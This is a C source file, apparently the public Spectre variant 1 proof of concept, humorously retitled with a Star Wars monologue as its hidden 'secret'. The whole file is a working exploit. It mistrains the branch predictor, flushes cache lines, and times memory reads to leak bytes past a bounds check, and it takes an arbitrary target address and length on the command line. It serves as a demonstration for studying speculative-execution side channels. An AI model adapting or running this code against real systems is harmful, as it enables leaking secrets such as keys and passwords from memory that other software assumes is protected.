Darth Spectre The Wise

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#ifdef _MSC_VER
#include <intrin.h> /* for rdtscp and clflush */
#pragma optimize("gt",on)
#else
#include <x86intrin.h> /* for rdtscp and clflush */
#endif

/********************************************************************
  Victim code.
 ********************************************************************/
unsigned int array1_size = 16;
uint8_t unused1[64];
uint8_t array1[160] = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 };
uint8_t unused2[64];
uint8_t array2[256 * 512];

char *secret = "Did you ever hear the tragedy of Darth Plagueis The Wise? I thought not. It’s not a story the Jedi would tell you. It’s a Sith legend. Darth Plagueis was a Dark Lord of the Sith, so powerful and so wise he could use the Force to influence the midichlorians to create life... He had such a knowledge of the dark side that he could even keep the ones he cared about from dying. The dark side of the Force is a pathway to many abilities some consider to be unnatural. He became so powerful… the only thing he was afraid of was losing his power, which eventually, of course, he did. Unfortunately, he taught his apprentice everything he knew, then his apprentice killed him in his sleep. Ironic. He could save others from death, but not himself.";

uint8_t temp = 0; /* Used so compiler won’t optimize out victim_function() */

void victim_function(size_t x) {
    if (x < array1_size) {
        temp &= array2[array1[x] * 512];
    }
}

/********************************************************************
  Analysis code
 ********************************************************************/
#define CACHE_HIT_THRESHOLD (80) /* assume cache hit if time <= threshold */

/* Report best guess in value[0] and runner-up in value[1] */
void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
    static int results[256];
    int tries, i, j, k, mix_i;
    unsigned int junk = 0;
    size_t training_x, x;
    register uint64_t time1, time2;
    volatile uint8_t *addr;
    for (i = 0; i < 256; i++) {
        results[i] = 0;
    }
    for (tries = 999; tries > 0; tries--) {
        /* Flush array2[256*(0..255)] from cache */
        for (i = 0; i < 256; i++) {
            _mm_clflush(&array2[i * 512]); /* intrinsic for clflush instruction */
        }
        /* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
        training_x = tries % array1_size;
        for (j = 29; j >= 0; j--) {
            _mm_clflush(&array1_size);
            for (volatile int z = 0; z < 100; z++) {} /* Delay (can also mfence) */

            /* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
            /* Avoid jumps in case those tip off the branch predictor */
            x = ((j % 6) - 1) & ~0xFFFF;
            /* Set x=FFF.FF0000 if j%6==0, else x=0 */
            x = (x | (x >> 16));
            /* Set x=-1 if j&6=0, else x=0 */
            x = training_x ^ (x & (malicious_x ^ training_x));

            /* Call the victim! */
            victim_function(x);
        }

        /* Time reads. Order is lightly mixed up to prevent stride prediction */
        for (i = 0; i < 256; i++) {
            mix_i = ((i * 167) + 13) & 255;
            addr = &array2[mix_i * 512];
            time1 = __rdtscp(&junk);         /* READ TIMER */
            junk = *addr;                    /* MEMORY ACCESS TO TIME */
            time2 = __rdtscp(&junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
            if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size]) {
                results[mix_i]++; /* cache hit - add +1 to score for this value */
            }
        }

        /* Locate highest & second-highest results results tallies in j/k */
        j = k = -1;
        for (i = 0; i < 256; i++) {
            if (j < 0 || results[i] >= results[j]) {
                k = j;
                j = i;
            } else if (k < 0 || results[i] >= results[k]) {
                k = i;
            }
        }
        if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0)) {
            break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
        }
    }
    results[0] ^= junk; /* use junk so code above won’t get optimized out*/
    value[0] = (uint8_t)j;
    score[0] = results[j];
    value[1] = (uint8_t)k;
    score[1] = results[k];
}

int main(int argc, const char **argv) {
    size_t malicious_x=(size_t)(secret-(char*)array1); /* default for malicious_x */
    size_t i;
    int score[2], len=1000;
    uint8_t value[2];

    for (i = 0; i < sizeof(array2); i++) {
        array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */
    }
    if (argc == 3) {
        sscanf(argv[1], "%p", (void**)(&malicious_x));
        malicious_x -= (size_t)array1;
        /* Convert input value into a pointer */
        sscanf(argv[2], "%d", &len);
    }

    printf("Reading %d bytes:\n", len);
    while (--len >= 0) {
        /*printf("Reading at malicious_x = %p... ", (void*)malicious_x); */
        readMemoryByte(malicious_x++, value, score);
        //printf("%s: ", (score[0] >= 2*score[1] ? "Success" : "Unclear"));
        /*printf("0x%02X=’%c’ score=%d    ", value[0],
                (value[0] > 31 && value[0] < 127 ? value[0] : '?'), score[0]);*/
        printf("%c", value[0],
                (value[0] > 31 && value[0] < 127 ? value[0] : '?'), score[0]);
        //if (score[1] > 0)
            //printf("(second best: 0x%02X score=%d)", value[1], score[1]);
        //printf("\n");
    }
    return 0;
}